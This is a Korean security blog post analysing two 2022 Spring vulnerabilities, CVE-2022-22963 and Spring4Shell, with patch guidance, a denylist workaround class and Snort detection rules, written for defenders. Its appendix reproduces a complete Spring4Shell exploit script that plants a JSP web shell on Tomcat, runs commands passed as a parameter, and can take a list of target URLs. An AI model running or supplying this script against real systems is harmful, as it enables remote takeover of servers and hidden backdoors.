( 1 ) 취약점 정의
하루 차이(03월 29일, 03월 30일)로 서로 다른 Spring 프로젝트와 관련된 두 가지 별개의 취약점이 공개됨.
둘은 관련이 없지만 두 취약점이 거의 동시에 공개되어 혼란스런 상황임.
(일부 커뮤니티나 사이트에 둘 취약점을 병행하여 잘못 기재한 상황이 발생함)
각각 취약점에 대한 설명은 아래와 같음.
1. CVE-2022-22963 취약점
- 정의 : Spring Cloud Function 원격 코드 실행 취약점으로 m09u3r 님에 의해 발견되어 보고되어 03월 29일에 공개됨.
- 심각도 : 보통
- 영향받는 제품
+ Spring Cloud Function 3.1.6 이하 버전
+ Spring Cloud Function 3.2.2 이하 버전
+ 지원되지 않는 이전 버전도 영향 받음
2. Spring4Shell 취약점
- 정의 : JDK(Java Development Kit) 9 이상의 Spring Core 원격 코드 실행 취약점으로 현재 CVE ID 는 할당되지 않은 상태임. CVE-2010-1622 의 우회해서 비롯된다고 Praetorian 사 엔지니어들이 말함. 2022년 03월 30일 KnownSec 404 보안팀의 Heige 연구원이 트위터에 PoC 실행 화면을 처음 공개하였으며 현재 삭제한 상태임. 그 뒤 Spring Framework 의 패치되지 않은 원격코드 실행 취약점에 대한 소문이 돌기 시작하여 이를 Spring Framework 의 Spring Core 모듈에 취약점 시연함.
- 심각도 : 심각
- 영향받는 제품 : JDK 9 이상의 Spring Core 모든 버전
(JDK 8 이하의 경우 취약점의 영향을 받지 않으나 아직 확인된 사항은 없음)
참고로 Sping 은 Sping.io 사에 의해 유지 관리되며 소프트웨어 개발자가 엔터프라이즈 수준의 기능으로 Java 애플리케이션을 빠르고 쉽게 개발할 수 있도록 하는 인기 높은 애플리케이션 프레임워크임. 이후 이러한 애플리케이션을 Apache Tomcat과 같은 서버에 필요한 모든 종속성이 있는 독립 실행형 패키지로써 배포할 수 있음.
( 2 ) 취약점 분석
1. CVE-2022-22963 취약점
HTTP 요청 헤더의 spring.cloud.function.routing-expression 매개변수에 StandardEvaluationContext 클래스를 이용하여 Spring 표현 언어(SpEL)로 작성한 악의적인 코드 주입 및 실행이 가능한 취약점으로 유효성 검사 부재로 인해 발생함.
여기서 Spring 표현 언어(Spring Expression Language, 약자로 SpEL)란 Sping 모든 제품에서 사용할 수 있는 단일 표현 언어로 런타임에 개체 그래프 쿼리 및 조작을 지원하는 강력한 표현 언어임. 아래 링크 참조 바람.
SpEL 표현식 설명 링크 :
https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html
또한, StandardEvaluationContext 클래스는 etRootObject() 메서드나 생성자에 루트객체를 전달해서 평가에 사용할 루트객체를 지정함. 아래 링크 참조 바람.
StandardEvaluationContext 클래스 설명 링크 :
< CVE-2022-22963 취약점 PoC 시연 화면 >
아래 파일 내용 중 패치 코드에서 볼 수 있듯 이 헤더 내용을 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 플래그가 추가됨.
패치 파일 경로 : spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java
패치 파일 링크 :
< CVE-2022-22963 취약점 패치 코드 >
2. Spring4Shell 취약점
문제가 되는 코드는 아래 파일 내용에서 확인할 수 있음.
아래 스크린샷에 나와 있는 코드는 다음 개체 그래프 경로를 재정의하지 못하도록 액세스 제한 시도함.
Class.getClassLoader() -> ClassLoader
Class.getProtectionDomain() -> ProtectionDomain
그러나 Class 객체가 이제 getModule() 메서드를 노출하기 때문에 공격자는 이제 다음과 같이 약간 다른 경로를 사용할 수 있음.
Class.getModule() -> Module -> Module.getClassLoader()
그래서 사용자에게 ClassLoader 속성의 제어 권한을 넘겨주는 결과를 초래하여 백도어 생성 등 악용하게 됨.
취약한 파일 경로 :
spring-framework/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
취약한 파일 링크 :
< Spring4Shell 취약점 취약한 코드 >
Spring4Shell 취약점 PoC 코드는 아래 별첨을 참고 바람.
( 3 ) 취약점 방어
1. 업그레이드 및 패치가 필요함.
- CVE-2022-22963 취약점
+ Spring Cloud Function 3.1.7 버전 업그레이드
+ Spring Cloud Function 3.2.3 버전 업그레이드
- 현재 Spring4Shell 취약점 관련된 패치 파일은 없는 상태임.
2. Spring4Shell 취약점 가능여부 확인함.
- JDK 9 버전 이상 사용 유무
+ java –version 명령어를 통해 9 버전 이상의 JDK를 사용하고 있는지 확인
- Spring Framework 사용 유무
+ 프로젝트 내 "Spring-beans-.jar", "spring.jar", "CachedIntrospectionResuLts.class" 이 존재하는지 확인
3. Spring4Shell 취약점 임시 조치는 아래와 같음.
- 응용 시스템의 프로젝트 패키지 아래에 다음 전역 클래스를 생성하고 이 클래스가 Spring에 의해 로드되었는지 확인함. (Controller가 위치한 패키지에 추가하는 것이 좋음)
클래스가 추가된 후 프로젝트는 다음 작업을 수행해야 함.
기능 검증을 위해 재컴파일 > 패키징 > 테스트 > 프로젝트 재시작함.
import
org.springframework.core.Ordered; import
org.springframework.core.annotation.Order; import
org.springframework.web.bind.WebDataBinder; import
org.springframework.web.bind.annotation.ControllerAdvice; import
org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void
setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new
String[]{"class.", "Class.", ".class.",
".Class."}; dataBinder.setDisallowedFields(denylist); } } |
4. 아래와 같이 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.
- CVE-2022-22963 취약점
alert tcp any any -> any any (msg:"KOROMOON_CVE-2022-22963_Vulnerability_Detected"; content:"|20|HTTP/"; content:"|0d 0a|spring.cloud.function.routing-expression|3a|"; content:".exec|28|";)
- Spring4Shell 취약점
alert tcp any any -> any any (msg:"KOROMOON_Spring4Shell_Vulnerability_Detected"; content:"POST /"; depth:6; content:"|20|HTTP/"; content:"|0d 0a 0d 0a|class.module.classLoader.resources.context.parent.pipeline.first.pattern"; content:".suffix"; content:".directory";)
별첨. 언더그라운드 해킹 채널에서 공유되고 있는 Spring4Shell 취약점 PoC 코드
#coding:utf-8
import requests import argparse from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data =
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go =
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False,
verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False,
verify=False)
if shellgo.status_code == 200: print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i)
if __name__ == '__main__': main() |
============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.
봐도 이해가 잘 안됨 ㄷㄷ
답글삭제